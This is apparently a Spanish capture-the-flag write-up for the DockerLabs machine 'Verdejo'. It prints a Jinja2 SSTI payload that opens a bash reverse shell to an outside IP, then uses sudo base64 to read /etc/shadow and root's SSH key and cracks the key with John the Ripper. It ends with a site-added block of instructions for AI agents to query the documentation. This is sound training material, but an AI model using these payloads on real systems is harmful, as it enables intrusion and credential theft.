# Verdejo

### 🔍 RECONOCIMIENTO

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 172.17.0.2
```

para verificar la conectividad de red.

<figure><img src="/files/mPYNd55f6Ycq4oFBBUpJ" alt=""><figcaption></figcaption></figure>

A continuación, realizamos el comando:

```bash
nmap -sVC -p- -n --min-rate 5000 172.17.0.2
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="/files/pwGC3rJgFktASKtnx7QF" alt=""><figcaption></figcaption></figure>

Como podemos observar durante el escaneo que el **puerto 22** perteneciente al **servicio SSH** y el **puerto 80** perteneciente al **servicio HTTP** y el **puerto 8089** perteneciente al **servicio HTTP** están abiertos por lo que a continuación se indagará más.

### 🔎 **EXPLORACIÓN**

Se utiliza el comando:

```bash
sudo nmap -sCV -p22,80,8089 -v 172.17.0.2
```

para obtener más información sobre esos puertos específicamente.

<figure><img src="/files/Bv54h6zmhXI2pbSkosqK" alt=""><figcaption></figcaption></figure>

Seguimos indagando más sobre los puertos y ahora indagamos sobre el **servicio HTTP**. Se ingresó la **dirección IP** en el navegador lo que llevó a que la página web sea la de por defecto de **Apache**.

<figure><img src="/files/j7xFo3S14WxUtoz1oONx" alt=""><figcaption></figcaption></figure>

Vemos a ver que corre por el **puerto 8089**.

<figure><img src="/files/Hjjk2TKxjCayTWqXMKuA" alt=""><figcaption></figcaption></figure>

Si enviamos el texto nos sale esto.

<figure><img src="/files/qMremSnDlKvwtyrH9PAJ" alt=""><figcaption></figcaption></figure>

### 🚀 **EXPLOTACIÓN**

Comenzamos verificando si es posible ejecutar un ataque XSS.

```bash
<script>alert("hacked")</script>
```

<figure><img src="/files/kyKDJ9GI0DTItWvzFPYp" alt=""><figcaption></figcaption></figure>

Probamos si es propenso a un SSTI por lo que realizamos una operación matemática que deberá mostrar el resultado.

```
{{7*7}}
```

<figure><img src="/files/tBJUSRnB0GlF6yh6MJyf" alt=""><figcaption></figcaption></figure>

Por lo que aprovechamos eso para enviarnos una Reverse Shell.

```bash
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('bash -c \'bash -i >& /dev/tcp/192.168.255.136/443 0>&1\'').read() }}
```

Nos ponemos en escucha.

```bash
nc -lvnp 443
```

<figure><img src="/files/Rz2f0BIswXuuK2UK6Zg9" alt=""><figcaption></figcaption></figure>

Hacemos el [tratamiento de la TTY](https://invertebr4do.github.io/tratamiento-de-tty/#) para trabajar más cómodos.

### 🔐 **PRIVILEGIOS**

Al estar dentro y ejecutar:

```bash
whoami
```

aún no somos **root**, por lo que hacemos:

```bash
sudo -l
```

para ver si hay algo para explotar.

<figure><img src="/files/gvnMIaAMlM4WNusQul0c" alt=""><figcaption></figcaption></figure>

Tenemos permisos **SUDO** con **base64** por lo que revisamos esta [página ](https://gtfobins.github.io/gtfobins/base64/)para escalar privilegios.

```bash
sudo base64 /etc/shadow | base64 --decode
```

<figure><img src="/files/Foz0XNpYgWJFLY27qOnH" alt=""><figcaption></figcaption></figure>

Durante el escaneo, notamos que el puerto SSH estaba abierto. Esto sugiere la posibilidad de que el usuario root tenga un archivo `id_rsa`. Al intentar leer este archivo utilizando la ruta predeterminada, confirmamos que efectivamente obtuvimos el `id_rsa`.

```bash
sudo base64 /root/.ssh/id_rsa | base64 --decode
```

<figure><img src="/files/JLnvgDlsTNK9qF0if7xR" alt=""><figcaption></figcaption></figure>

Transferimos el archivo a nuestra máquina local y, tras asignarle permisos de ejecución, intentamos establecer la conexión. Sin embargo, se nos solicitó la contraseña asociada al `id_rsa`.

```bash
chmod 600 id_rsa
```

<figure><img src="/files/hBtEEHc2ZHofJpbuMF32" alt=""><figcaption></figcaption></figure>

En este paso, utilizamos **ssh2john** para extraer el hash del archivo. Posteriormente, empleamos **John the Ripper** para descifrar la contraseña, siempre que esta se encuentre en nuestro diccionario. Después de un tiempo, logramos identificar la clave

```bash
ssh2john id_rsa > hash
john hash --wordlist=/usr/share/wordlists/rockyou.txt
```

<figure><img src="/files/6ElncDUYr9HKgxHnykLz" alt=""><figcaption></figcaption></figure>

Nos logueamos y metemos las credenciales. Ya somos **root**.

<figure><img src="/files/UK7gIt717rKtvovvFzdm" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://beafn28.gitbook.io/beafn28/writeups/dockerlabs/verdejo.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
